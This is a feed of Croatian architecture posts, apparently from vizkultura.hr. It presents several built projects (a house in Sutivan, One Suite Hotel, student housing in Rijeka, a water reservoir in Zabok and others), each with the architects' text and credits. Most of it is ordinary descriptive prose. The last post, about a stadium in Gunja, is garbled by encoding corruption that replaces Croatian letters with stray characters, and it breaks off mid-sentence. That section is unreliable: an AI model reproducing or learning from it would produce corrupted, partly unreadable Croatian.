Hlad, sunce, pogled i more – osnovni su elementi iz kojih je ova kuća nastala. Budući da je njen bogat program zahtijevao izdašnu površinu, pomiren je s mjerilom malog mjesta rastavljanjem na tri volumena različitih funkcija izmaknuta po vertikali. U suterenu se tako nalaze servisni prostori kuće u vidu garaže, konobe, wellnessa, kućnog kina i spremišta, u prizemlju se nalazi dnevni dio s jednom spavaćom sobom i praonicom, a na katu još tri spavaće sobe, svaka sa svojom kupaonicom.

Masivni suterenski trakt sa „prljavim“ sadržajima i grubom obradom tamnih zidova svojih volumena uzdiže kuću na platformu i radi jasnu podjelu između servisa i života. On je ekstenzija lokalnih cesta, kvrgavog i neurednog konteksta, on unosi nemar mjesta i predstavlja „prljave cipele“ nogu koje uzdižu čiste bijele volumene.

U tim bijelim volumenima, horizont kuće prolazi kroz prizemlje do južnog dvorišta da ga osunča i ugrije pa se vrati nazad na sjevernu terasu, brodsku palubu. Taj pogled na more sa sjeverne strane i osunčanje s južne strane uvjetuju etažu prizemlja gdje se kroz dnevni dio kuće spajaju južni dvor i sjeverna terasa, dok je arhaični prostorni plan morao biti zadovoljen arhetipskim volumenom kuće s kosim krovom.

A bazen, on nije negdje iza kuće, on nije samo kada s vodom, on je punopravni oblikovni element koji hrabro prodire u volumen kuće i komunicira sa svim otvorenim i zatvorenim prostorima prizemlja. Bazen je u svakom slučaju luksuz, i skup je ako nije sastavni dio kuće. Gledati u nebo plivajući leđno, a u isto vrijeme biti natkriven, mora da je užitak.

U komercijalne svrhe, kuća je morala biti ekonomična, te je jednim detaljom (horizontalnim lajsnama u bijeloj žbuci) podrcrtala ideju volumena i konstruktivnih elemenata, pa je oku postala jasnija. U procesu gradnje ta NAKUPINA BETONA pokazivala je samo prostorne vrijednosti, pa je zadatak različitih metoda obrade pročelja bio, naravno, u funkciji vizualnog.

Projekt: Bijela kuća
Lokacija: Sutivan, Brač
Projektni ured: Arhitektonski biro Lukšić i Visković d.o.o.
Autorski tim: Berislav Lukšić, mag.ing.arh., Vatroslav Visković, mag.ing.arh., Ana Žabica, mag.ing.arh., Bruna Kovačević, mag.ing.arh.
Fotografije: Berislav Lukšić, Srđan Tutić
Godina projektiranja: 2015.
Godina dovršetka gradnje: 2017.
Više o uredu: luksicviskovic.com

Više o autorima:
luksicviskovic.com
facebook.com/luksicviskovic/

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post “Bijela kuća” appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

3LHD – One Suite Hotel

O projektu (tekst arhitekata):
One Suite Hotel smješten je u Srebrenom, nekoliko kilometara od dubrovačke povijesne jezgre. Srebreno je mjesto koje razvija svoj centar i ovim projektom dobiva dodatni sadržaj koji u zoni poslovne i gospodarske izgradnje oblikuje novu žarišnu točku Župe dubrovačke. Osim smještajnih jedinica u One Suite Hotelu naglasak je stavljen upravo na javni prostor u prizemlju koji će biti dostupan svim stanovnicima a ne samo gostima. Parter građevine je mjesto svakodnevne migracije i susreta lokalnog stanovništva u stalnoj interakciji s okolinom, integriran u postojeće urbano tkivo.

Hotel ima osamnaest smještajnih jedinica raznolike strukture raspoređenih na dvije etaže, od dvosobnog apartmana do klasične hotelske sobe. U prizemlju se nalaze trgovački i ugostiteljski sadržaji tj. restoran i bar uklopljeni u ulazni prostor zajedno s recepcijom. Na krovu građevine smješten je bazen s infinity preljevom, staklenom stjenkom i masažnom klupom. Okružuje ga denivelirana drvena paluba – sunčalište. Gosti mogu uživati u iskustvu prilagođenom njihovim željama, s naglaskom na ‘green and healthy’ životnom stilu, koji se iščitava kroz sadržaje poput teretane, masažnog bazena i poseban koncept gastronomske ponude u restoranu i baru „Lokal“ koju je razvila Andrea Klemenčić. Sva jela su od lokalnih namirnica iz obiteljskih gospodarstava s područja Župe dubrovačke, poslužuju se lokalna vina i kraft piva.

Investitor je u sklopu osmišljanja ponude hotela za goste razvio jedinstvenu aplikaciju „One Suite Hotel“. Osim standardnih opcija poput korištenja interneta i obavljanja prijave i odjave u hotel pomoću pametnog telefona, aplikacija omogućava otključavanje vrata te vodi goste kroz cijeli objekt. Za rekreativce postoji i opcija off-line pregledavanja i korištenja staza za trčanje i šetnju po području čitave Župe. Gostima je na raspolaganju suvremeni konferencijski prostor za sastanke, a u sklopu hotela se nalazi i punionica za električna vozila.

Pri oblikovanju interijera birani su visokokvalitetni prirodni materijali. Naglasak je u smještajnim jedinicama stavljen na pročišćene linije i svijetlije tonove, dok u javnim prostorima dominira tamniji kolorit. U opremanju je ostvarena suradnja s Prostoriom i veliki dio namještaja nosi hrvatski dizajnerski potpis. Autor vizualnog identiteta i dizajna signalizacijskog sustava je Orsat Franković iz tvrtke Flomaster. Dio uređenja interijera je i Art in One koncept suradnje s najistaknutijim dubrovačkim umjetnicima koji su napravili art-objekte za apartmane/sobe. Prostori hotela svojevrsna su umjetnička galerija koja će afirmirati lokalnu umjetničku scenu eksponirajući umjetnike i njihovu kreativnu energiju. Autori izloženih umjetničkih radova su: Ivana Pegan Baće, Viktor Daldon, Tina Gverović, Marko Ercegović, Ivana Jelavić, Ana Opalić, Ana Požar Piplica, Luko Piplica, Ivana Dražić Selmani, Slaven Tolj i Ivona Vlašić.

Fasada je izvedena od grube žbuke s dodatkom staklenog granulata – mješavine mrvljenog stakla koje joj daje blago svjetlucavi/srebrni efekt. Projekt krajobraznog uređenja, koji je osmislila Ines Hrdalo, zasniva se na odabiru lokalnog bilja i zelenila, lavande, ružmarina, ukrasnog luka, santoline i teukrija uz zadržavanje postojećih starih stabala maslina.

Sveukupna netto površina građevine je 3405m2, od čega je netto površina podruma 1248m2 (32 parkirna mjesta, od čega 2 za invalide), netto površina prizemlja 706m2, netto površina prvog kata 656m2, neto površina drugog kata 653m2, a netto površina krova 153m2.

Projekt „Izgradnja Aparthotela Brenum“ financiran je u okviru Europskog fonda za regionalni razvoj. Ukupnavrijednost projekta iznosi 25.698.546,86 kn, dok je projekt sufinanciran u iznosu od 9.385.495,08 kn.

Ime projekta: One Suite Hotel
Program: turizam, poslovno
Projekt: 2008.
Početak gradnje: 2015.
Završetak građenja: 2017.
Lokacija: Mlini, Srebreno
Kvadratura parcele (m2): 2149
Kvadratura građevine (m2): 3180
Kvadratura tlocrta (m2): 751
Investitor: Brenum

Autor: 3LHD

Projektni tim: Saša Begović, Marko Dabrović, Tatjana Grozdanić Begović, Silvije Novak, Koraljka Brebrić Kleončić, Nives Krsnik Rister, Duje Katić, Vibor Granić, Davor Plavšić, Viktorija Jagodić, Iva Peručić

Suradnici projektnog tima: Sanja Jasika, Ana Šafar, Marko Piljek (Centura), Ivan Piljek (Centura)

Vizualni identitet i dizajn signalizacijskog sustava: Flomaster
Umjetnički radovi: Ivana Pegan Baće, Viktor Daldon, Tina Gverović, Marko Ercegović, Ivana Jelavić, Ana Opalić, Ana Požar Piplica, Luko Piplica, Ivana Dražić Selmani, Slaven Tolj, Ivona Vlašić
Stalni postav umjetničkih radova u hotelu (koncept Art in One): Orsat Franković (koncept), Rozana Vojvoda (stručna suradnica), Art radionica Lazareti (organizacijska podrška)

Projekt zaštite od požara (idejno rješenje): Inspekting (Milan Carević)
Projekt konstrukcije (idejno rješenje): KAP4 (Nikola Miletić)
Projekt strojarskih instalacija (glavni i izvedbeni projekt): Eksperterm (Igor Karačić, Katica Pocrnja)
Projekt vodovoda, odvodnje i hidrantske mreže (glavni i izvedbeni projekt): Eksperterm (Ivan Vajdić)
Projekt elektroinstalacija, sustav za dojavu požara (glavni i izvedbeni projekt): Gordana Duić (ETS Farago)
Projekt konstrukcije (glavni i izvedbeni projekt): U.I.O.G. Krešimir Tarnik (Krešimir Tarnik)
Projekt zaštite na radu (glavni projekt): Flamit (Željko Mužević)
Projekt vertikalnog transporta (glavni i izvedbeni projekt): Lift Modus (Rok Pietri)
Projekt racionalne uporabe energije i toplinske zaštite zgrade, projekt zaštite od buke i vibracija (glavni projekt): AKFZ studio (Mateo Biluš)
Projekt krajobraznog uređenja (glavni i izvedbeni projekt): Ines Hrdalo (ovlašteni krajobrazni arhitekt I. Hrdalo)
Tehnološki projekt snack-a (glavni i izvedbeni projekt): Dekode (Zoran Divjak)
Elaborat zaštite od požara (glavni projekt): Požar projekt (Pero Mojaš)
Geodetski projekt (glavni projekt): Geoplan (Ivica Ogresta)
Troškovnik građevinskih i obrtničkih radova: Forel projekt (Lucija Ivas)
3D: Boris Goreta (idejno rješenje), Jan Ružić, Branimir Turčić
Nadzor: Apsida (Miljenko Miljak)
Glavni izvođač: Kamgrad

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post “One Suite Hotel” appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

OFIS arhitekti – Jedinica za život / Living Unit

O projektu (tekst arhitekata):

Istraživanje za realizaciju ovog projekta pokrenuto je od strane OFIS arhitekata te timova iz tvrtki C+C, C28 i AKT, u suradnji s izvođačem radova Permiz – kako bi se osmislio projekt samostojeće drvene strukture, koja može biti fleksibilna i prilagodljiva različitim lokacijama, klimatskim uvjetima i različitim terenima.

Osnovna jedinica sadržava prostor za život dvoje ljudi, s velikim krevetom, ormarom, stolom sa stolcima te mogućnošću izvedbe kupaonice i kuhinje. Ako je potrebno, dvije ili više kabina se može kombinirati, kako bi se stvorio prostor za život 4-6 osoba. Jedinice se mogu spajati vertikalno, kao na primjeru na fotografijama, ili horizontalno.

Strukturu nastambe čine drveni okviri koji su sa obje strane pojačani pločama šperploče. Drvena jedinica za život može se fiksirati za tlo čeličnim užadima ili betonskim kockama.

Materijal izabran za izvedbu nastambe baziran je na upotrebi prirodnih, ekoloških i human-friendly materijala. Fasada i obloge interijera mogu biti promjenjivi i fleksibilni, kako bi se nastambe i njihova pročelja mogla uklopiti u različitim kontekstima u koje mogu biti postavljeni.

Arhitekti: OFIS Architects
Projektni tim: Rok Oman, Špela Videčnik, Janez Martincic, Tomaz Cirkvencic, Andrej Gregoric, Sara Carciotti, Lucas Blasco Sendon, Jose Navarrete Jimenez
Površina: 30.0 m2
Godina projektiranja i izvedbe: 2017.
Fotografije: Janez Martinčič
Proizvođači: Guardian, REFLEX
C+C Projektni tim: Claudio Tombolini, Cristiana Antonini
C28 Projektni tim: Francesco Sforza, Federico Pasqualini, Antonello Michelangeli
Inženjerski tim: AKT, Milan Sorc – Projecta d.o.o.
Izvođači: Boštjan Perme – Permiz d.o.o. ( www.permiz.si ), Slovenija

Fotografije via: Ofis.si i archdaily.com

Više o projektu: ofis.si/str_2/ofis_base.html

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post Jedinica za život appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Mirela Bošnjak, Mirko Buvinić, Maja Furlan Zimmermann i Ivan Galić – Studentsko stanovanje na Sveučilišnom kampusu na Trsatu

O projektu (tekst arhitekata):
Tri paviljona studentskog stanovanja dio su projekta izgradnje Sveučilišnog kampusa na Trsatu u Rijeci. Paviljoni su izgrađeni prema prvonagrađenom projektu na natječaju provedenom 2004. godine kojim se tražilo rješenje za objekt studentske prehrane i 7 paviljona s ukupno 1.600 kreveta. Obzirom na nedostatak sredstava i nepostojanje infrastrukture, u početnoj fazi realizacije kampusa odlučeno je da se gradi samo objekt prehrane, iako je i projektna dokumentacija za paviljone bila završena.

Objekt prehrane je otvoren 2011. godine, a sveučilišni je kampus sve do rujna ove godine funkcionirao bez studentskog stanovanja. Useljenjem prva tri paviljona počelo je novo razdoblje u kojem će kampus na Trsatu doživjeti značajnu transformaciju i zaživjeti u punom smislu.

Kako su DPU-om Sveučilišnog kampusa striktno propisane visinske kote i obavezni građevinski pravci, volumeni paviljona i njihov smještaj na čestici direktan su odraz planskih odredbi. Paviljoni osiguravaju smještaj za 754 osobe, od čega je većina (688) u smještajnim jedinicama za 4 osobe koje se sastoje od zajedničkih prostora (ulaz, kuhinja, kupaonica, wc, lođa) i dvije dvokrevetne sobe. Osim toga, u paviljonu 1 se nalaze 32 jednokrevetne jedinice za studente (ulaz, kuhinja, kupaonica, soba, lođa), a u paviljonu 2 24 veće jedinice za gostujuće nastavnike. 10 jednokrevetnih jedinica (po 5 u paviljonu 1 i paviljonu 2) prilagođeno je za osobe s invaliditetom.

Oblikovanju svakog tipa smještajne jedinice posvećena je velika pažnja kako bi se raspoloživi prostor iskoristio na najbolji mogući način, zbog čega je opremanje bilo gotovo jednako važno kao i izgradnja, a projektirani namještaj je prilagođen specifičnim situacijama.

Jednako tako, unatoč strogo zadanim parametrima, cilj je bio stvoriti kvalitetne zajedničke prostore. U prizemljima paviljona nalaze se učionica, ambulanta, trim dvorane, studentska praonica, a na najvišim etažama zajednički dnevni boravci s kuhinjom i terasom. Ulazni prostori 4-krevetnih jedinica se prema hodnicima ‘otvaraju’ velikim polutransparentnim ostakljenim stijenama koje pružaju fragmentarni uvid u studentsku svakodnevicu i prostor komunikacije transformiraju u prostor interakcije i druženja.

Prefabricirani armirano betonski fasadni elementi i vidljivi beton u interijeru odgovor su na intenzitet korištenja kao i specifičnosti projektnog zadatka u odnosu na vremenske uvjete na lokaciji.

Projekt: Studentsko stanovanje u sveučilišnom kampusu na Trsatu
Lokacija: Ulica Radmile Matejčić 5
Autori: Mirela Bošnjak, Mirko Buvinić, Maja Furlan Zimmermann i Ivan Galić
projektni ured: X.3.M. d.o.o.

suradnici:
Nikola Đurek (tipografija.signalizacija)
Eugen Gajšak_Marija Šarac_Marijan Bračun_Ivan Dolovčak (statika)
Mateo Biluš (fizika zgrade)
Teo Cvitanović_Miroslav Lazić (troškovnik)
Goran Stipković (zaštita od požara.zaštita na radu)
Tomislav Fujs_Nenad Šutevski (vodovod i odvodnja)
Mario Josipović (strojarske instalacije)
Zoran Divjak (tehnologija)
Denis Paleka (dizala)
Mladen Stošić_Ivica Kljajić_Matej Lijović (elektroinstalacije)
Jadranka Janjić (krajobrazna arhitektura)

fotografije: Domagoj Blažević
investitor: Sveučilište u Rijeci
izvođač: Lavčević d.d.
godina projektiranja: 2004. – 2012.
godina dovršetka gradnje: 2016.
površina lokacije: 23.500 m2
ukupna tlocrtna površina: 18.670 m2 (p1 – 6.780 m2; p2 – 6.790m2 ; p4+sc – 5.100 m2)
troškovni gradnje: 5.500 kn/m2

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post Trsatsko stanovanje za studente appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Davor Mateković / PROARH – Issa Megaron

Strogo je zabranjeno preuzimanje priloženih fotografija i materijala! Neovlašteno preuzimanje kažnjivo je zakonom i moguće je jedino uz suglasnost autora projekta i autora fotografija.

O projektu (tekst arhitekata):
Issa megaron nastaje kao ispitivanje konteksta granica lokacije, na parceli koja se na prvu čita kao tabula rasa, prazna ploča .

”Prazno” je varka, obmana da je kontekst nepostojeći ili nebitan, jer područje sagledavanja esencije ovog prostora nije doslovna katastarska granica. Duh moramo tražiti i naći u nekoj široj, ne samo geografskoj, već i kulturološkoj zoni.

Iako lišen ljudske prisutnosti , ovo nije prostor bez”toća”. Njegov genius loci tako ne obuhvaća samo parcelu, otok već i cijeli dalmatinski arhipelag, kao dio mediteranskog civilizacijskog kruga i ekosustava.

Jedan takav netaknuti biotop sa jasnim tradicijskim graditeljskim naslijeđem, nametnuo je bioklimatski orijentirano projektiranje s naglaskom na valorizaciju arhitektonske baštine.

S obzirom da je ”loci” ustvari Mediteran, kuću koncipiramo po sustavu Sokratovog megarona, reinterpretirajući suhozid i stvarajući novu ruralnu, manmade topografiju.

Potpuno nepostojanje infrastrukture i općenita nepristupačnost, nameću da je samoodrživost primarna. Pasivno hlađenje i ventilacija, iskorištavanje kišnice, solarni paneli, i drugi elaborirani načini iskorištavanja prirodnih resursa, omogućuju funkcioniranje objekta kao mjesta za život i rad.

Boravišni prostore formirani su kao artificijelni grotto, izdubljen kao sjećanje na sklonište, primitivni zaklon. Novonastala struktura je istovremeno manmade/handmade, neintruzivna u namjeri, materijalu i u konačnom izgledu.

Kameni, autohtoni suhozid reintrepretiran je kroz armirano-betonske zidove, čime naglašavamo suvremenost, a oni postaju jedini element pročelja osim staklenih stijena u dubini. Kamen postavljamo samo kao detalj, sporadično, kao reminiscenciju na tradiciju.

Potezi suhozida formiraju funkcionalne zone, ne samo u službi zatvorenih prostora već i otvorenih terasa, platoa, agrarnih površina,…

Peta fasada je viški ambijent, zatečeni biotop, gdje kuća postaje nevidljiva u topografiji koju zapravo ne mijenjamo, ona ostaje ista, a intervencija u prirodu je malo zamjetna.

autor projekta: Davor Mateković
koautorica: Vedrana Jančić
suradnica: Bojana Benić
projektant Proarh
konstrukcija: Radionica statike d.o.o.
investitor: privatni
površina parcele: 70 138 m2
bruto površina: 485 m2
projekt: 2014.
realizacija: 2016.
glavni izvođač: Griža građevinski obrt

fotografije: Damir Fabijanić i Miljenko Bernfest (zračne/dron)

VAŽNA NAPOMENA:
Strogo je zabranjeno preuzimanje priloženih fotografija i materijala! Neovlašteno preuzimanje kažnjivo je zakonom i moguće je jedino uz suglasnost autora projekta i autora fotografija.

proarh.hr

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post “Issa megaron” appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Svebor Andrijević i Jasna Zmaić – vodospremnik Zabok

O projektu (tekst arhitekata):

Vodospremnik Zabok infrastrukturna je građevina s nadzornim centrom za distribuciju vode na prostoru Zagorja i laboratorijem. Nalazi se na uzvisini u kontaktnoj zoni gradskog centra i pojasa obiteljskom gradnjom zauzetih zabočkih obronaka. Naručitelj, Zagorski vodovod, u startu je imao zamisao da se planirani program vodospremnika proširi, ne samo u tehničkom smislu, nego i programski, s dodatnim mogućnostima korištenja prostora vodospremnika u svrhu promicanja i prezentiranja njihove djelatnosti, upravljanje pitkom vodom. To nastojanje upotpunjeno je željom da se ova važna infrastrukturna građevina kvalitetno oblikuje kako bi se stvorio novi vizualni identitet prostora odmaknut od pukog rješavanja vodoopskrbnih zahtijeva.

Rješenjem su ovi naizgled kontradiktorni elementi programa povezani u funkcionalnu cjelinu kojoj su pridodani prostori slobodnijeg oblika korištenja, zeleni krov, stube – tribina, vidikovac. Povezivanje je ostvareno komunikacijskim sklopom vanjskih stubišta uokvirenih čeličnim lamelama. Kretanjem lamele otvaraju i zatvaraju poglede dok odsjajima kontrastiraju vidljivom betonu kao naznaka novih sadržaja pridodanih gruboj infrastrukturi. Osnovni volumen proizlazi iz ortogonalnog tijela vodospreme čija konstrukcija pridržava postojeće ukopane spremnike sa sjeverne strane i nosi konzolnu dvoranu – vidikovac s južne. Stvoren je novi orijentir zabočkog kraja te dugo očekivani element identiteta.

Projektirani obuhvat u smislu javnog korištenja ima dva dijela. Prvi je vanjski prostor oko objekta dostupan 0-24h. Tu je pristupni put, parkiralište, okrugli plato, vidikovac, podsjetnik na kapelicu koja se nekad ovdje nalazila, a planirana je i šetnjica prema centru Zaboka. Drugi dio su prostori u zgradi, polivalentna dvorana s cafeom i vidikovac s tribinom na krovu koji su dostupni posjetiteljima pod kontrolom uprave. Najčešće se školarcima prezentiraju teme vezane uz važnost vode. Upravo to je posebnost ovog projekta, inače strogo čuvana i nedostupna infrastrukturna građevina u ovom se slučaju otvara i prezentira javnosti.

Projekt: Vodospremnik Zabok
Lokacija: Zabok
Autori: Svebor Andrijević i Jasna Zmaić
Suradnik: Ivan Grgić
Maketa: Jasna Zmaić
Fotografije: Miljenko Berfest
Projekt arhitekture: Arhitektura Svebor Andrijević d.o.o. Zagreb
Projekti konstrukcije i instalacija: IGH d.d. Zagreb
Investitor: Zagorski vodovod d.o.o. Zabok
Glavni izvođač: Vodotehnika d.d. Zagreb
Površina parcele: 6.846,0 m²
Građevinska bruto površina: 1.657,2 m²
Godina projektiranja: 2013.
Godina dovršetka gradnje: 2017.

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post Vodospremnik Zabok appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Ivana Dabrović i arhitekti – Kuća K

O projektu (tekst arhitekata):
Na samo desetak minuta šetnje od Grada, u dijelu Dubrovnika izdvojenom iz vreve i turističke hektičnosti stare jezgre, u Ulici Frana Supila na Pločama, za privatnog je investitora izgrađena rezidencijalna vila s četiri stana. Projekt je dugo pripreman – započet je prije 10-ak godina – a nastao je na atraktivnoj lokaciji, gdje slobodnih parcela gotovo više i nema, u susjedstvu Vile Šeherezade te poznatih dubrovačkih hotela “Excelsior”, “Argentina” i “Belveder”.

Na terenu koji se strmo spušta k obali, u skladu s dugom lokalnom tradicijom gradnje na nevelikoj površini zemlje, vila u Supilovoj ulici prilagodila se strmini geometričnošću i bjelinom te kaskadama koje prate kamene podzide visine etaža. Svaka od etaža neovisna je, funkcionalna cjelina, pri čemu se iz zajedničke garaže do svake jedinice dolazi dizalom.

Magične vizure s prednje, jugozapadne strane građevine maksmimalno su je otvorile prema moru, Lokrumu i plaži Sveti Jakov, te Starom gradu, terasama u cijeloj dužini stanova koje se kaskadno uvlače i otvaraju staklenim stijenama, a svaka jedinica ima i izlaz na teren s krovnim vrtovima i ljetnim kuhinjama.

Autorica je sa suradnicama osmislila građevinu atipičnu po tome što boravak u svakom od stanova nudi osjećaj življenja u obiteljskoj kući. Svaka etaža ima svoju posebnost i vizuru, a takva “nezbijenost”, uz stalnu prisutnost prirode i njezinih mjena, sunca, vjetra i zvijezda, stvara osjećaj privatnosti i otvorenosti pejzažu, pri čemu vila s mora izgleda kao da je oduvijek tu.

Suvremeno oblikovanje manifestira se velikim potezima staklenih aluminijskih stijena u cijeloj širini vile, odnosno terasa bez vidljivih stupova, koji su u drugom planu i izvedeni su u crnom čeliku, dok su staklene stijene dinamično i asimetrično lomljene, što stvara zanimljive refleksije na pročelju. Suvremena arhitektura pristuna je i od prije hotelima arhitekta Šegvića i Krstulovića te ostalih. Autorica projekta i njezin tim svjesne su da se ovom gradu i njegovoj jedinstvenosti ne smije nametati, pa mu i prilazi arhitekturom po mjeri ljudi – u ovom slučaju vilom mediteranskog senzibiliteta i senzualnosti, prozračnosti i otmjenosti.

*Klikom na jedan nacrt isti se otvara uvećan

autorica: Ivana Dabrović, dipl.ing.arh., glavni projektant
arhietktonski ured: Ivana Dabrović i arhitekti d.o.o.
projektni tim: Maja Tutavac, dipl.ing.arh., projektant, Petra Rakamarić, dipl.ing.arh., projektant, Kristina Vidić, dipl.ing.arh., projektant
fotografije: Miljenko Bernfest
investitor: privatni
lokacija: Dubrovnik
godina izgradnje: 2017.
površina: 950 m2

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post Kuća K appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostora 

Damir Gamulin i Antun Sevšek – Mini Art-kino dvorana

O projektu (tekst arhitekata):

Mini Art-kino izdvojena je dvorana za prikazivanje dokumentarnih, kratkih i eksperimentalnih filmova u neposrednoj blizini kompleksa Art-kina Croatia u Rijeci. Kapacitetom od 24 mjesta predstavlja programsku dopunu te rasterećenje velike dvorane namijenjene posjećenijim projekcijama ili protokolarnim manifestacijama. Za razliku od klasične sekvence ulaska u kino koju čini postupni prijelaz od atrija, preko biljetera, foyera i hodnika do dvorane za projekcije, u mini Art-kino ulazi se izravno iz javnog prostora frekventne pješačke komunikacije. Ovom se neposrednošću želi potaknuti nove generacije gledatelja na otkrivanje kinotečnih programa, a iskusnijim pojetiteljima pružiti priliku doživljavanja filmova na neformalniji i istovremeno intimniji način. S druge strane, prizor gledališta i skupljanja gledatelja uoči projekcije kroz izlog nekadašnjeg poslovnog prostora postaje i aktivni poziv na projekcije te promocija ustanove koja se ovako i doslovno otvara gradu.

Ograničenja skučenosti zatečenog prostora i složenih očekivanih režima korištenja razrješena su sustavom namjenski projektiranog ugrađenog mobiljara. Njegovu okosnicu čini sklopiva teleskopska tribina razvijana posebno za ovu priliku koja omogućava transformaciju prostora iz malene prikazivačke dvorane u prostor za radionice, izložbe ili igru u iščekivanju programa u velikoj dvorani. Jednostavnim operacijama zidne obloge postaju radni stolovi, klupe ili površine za izlaganje te u kombinaciji sa permutacijama segmenata gledališta omogućavaju stvaranje raznovrsnog prostornog okvira za korisnike dvorane. Zaključno, nizom planova zavjesa istovremeno se postiže gradacija otvaranja ili zaklanjanja zbivanja u dvorani od gradske vreve, kao i otkrivanje ili prekrivanje interieura iz rakursa prolaznika.



Autori: Damir Gamulin, Antun Sevšek (koncepcija, interijer, mobiljar)

Osnovni podaci:
Projekt: 2015
Realizacija: veljača 2017.
Lokacija: Krešimirova 2 (2G), 51000 Rijeka
Ukupna tlocrtna površina: 30 m2
Investitor: Art-kino Croatia, Rijeka

Projektanti:
Zoran Marić (Pro-Laser) – tehnička razrada tribina
Marin Sluga (Riteh) – elektroinstalacije

Izvođači:
Suntech, El.Bo-to,KE-DA, Prava Duga, Kemosan podovi, Ri-lux, Staklarna Crkikvenica, Pro – Laser, Stolar, FineLine, AVC, Med, Prozirni namještaj, Raos

Fotografije: Damir Žižić

Kategorija PROJEKTIRANJE otvorena je za prijave vaših projekata iz sfera arhitekture, uređenja interijera, javnih prostora i privremenih prostornih struktura, a vaše radove primamo na naš mail submit@vizkultura.hr

The post Mini Art-kino dvorana appeared first on vizkultura.hr.

U kategoriji PROJEKTIRANJE predstavljamo autorske projekte iz sfere arhitekture, dizajna interijera, privremenih prostornih struktura i oblikovanja javnih prostoraA�

GEplus arhitekti (Gorana GiljanoviA� i Eugen PopoviA�) – “Stadion Luke A�okA?eviA�a A�aljapina, Gunja”

A�

O projektu (tekst arhitekata):

Projekt stadiona nastao je kada je HNS prije A?etiri godine odluA?io obnoviti nogometnu infrastrukturu devastiranu poplavama u istoA?noj Slavoniji. Kroz suradnju s FIFA-om i UEFA-om prikupljena su sredstva za obnovu pet nogometnih igraliA?ta u mjestima Posavski Podgajci, Drenovci, RaA?inovci, StroA?inci i Gunji. Posebna paA?nja u ovom vrijednom projektu pridana je izgradnji novog stadiona u Gunji kao srediA?njeg mjesta okupljanja i interakcije lokalne zajednice te razvoja novih generacija sportaA?a.

Fotografije: Robert LeA? i Marko MihaljeviA�

Stadion u Gunji veliA?inom je mali objekt, ali povod njegovoj izgradnji ima veliki znaA?aj za lokalnu zajednicu. Arhitektonska kreativnost i inA?enjerska vjeA?tina doA?la je do izraA?aja pri oblikovanju vizualne pojavnosti stadiona gdje se kao najupeA?atljiviji element njegova vizualnog identiteta istiA?e glavno proA?elje. Ono je, naime, izgraA�eno od opeke koje objektu daje spomeniA?ku vrijednost, s obzirom da opeka potjeA?e od sruA?enih kuA�a uniA?tenih poplavom. Odabirom izmeA�u 12 000 saA?uvanih komada, arhitekti su iskoristili najoA?uvanije primjerke i posebnom ih tehnikom ponovno ugradili u novi objekt.

Svi koriA?teni materijali izabrani su u duhu osnovne funkcionalnosti te prevladava natur-beton u interijeru i eksterijeru. Suvremenim pristupom graA�evina se u potpunosti uklapa u kontekst ruralnog krajolika karakteristiA?an za Slavoniju i selo Gunju.

Projekti tim prepoznao je da ovaj objekt moA?e biti viA?e nego klasiA?na obnova sportske infrastrukture u jednoj maloj seoskoj sredini sagledavajuA�i od poA?etka graA�evinu kao vaA?no mjesto okupljanja lokalne zajednice, ali i kao zanimljivu priA?u koja moA?e biti utkana u graA�evinu kao memorijska vrijednost. Polaznik i inicijator koncepta arhitektonske priA?e je sam povod izgradnje tj. katastrofalna poplava koja je uniA?tila stari stadion, a koji je materijaliziran kroz utkane opeke od sruA?enih kuA�a na proA?eljima graA�evine. BudA?et je omoguA�avao iskljuA?ivo zadovoljavanje najosnovnijih funkcija graA�evine, ostavljajuA�i minimalni prostor za rad na oblikovnoj i vizualnoj pojavnosti objekta. Upravo ovaj element je od arhitekata zahtijevao veliku arhitektonsku kreativnost i inA?enjersku dovitljivost kako bi, osim funckionalnih znaA?ajki, graA�evina zadobila i oblikovne vrijednosti. Financijska ograniA?enja su liA?ila graA�evinu brojnih tehnoloA?kih elemenata, inaA?e karakteristiA?nih za suvremene objekte kojima isti mogu postati i ograniA?avajuA�i, a fokus je prebaA?en na arhitekturu i dodanu vrijednost koju ona moA?e donijeti lokalnoj zajednici. Na oblikovanje graA�evine najviA?e je utjecao ruralni 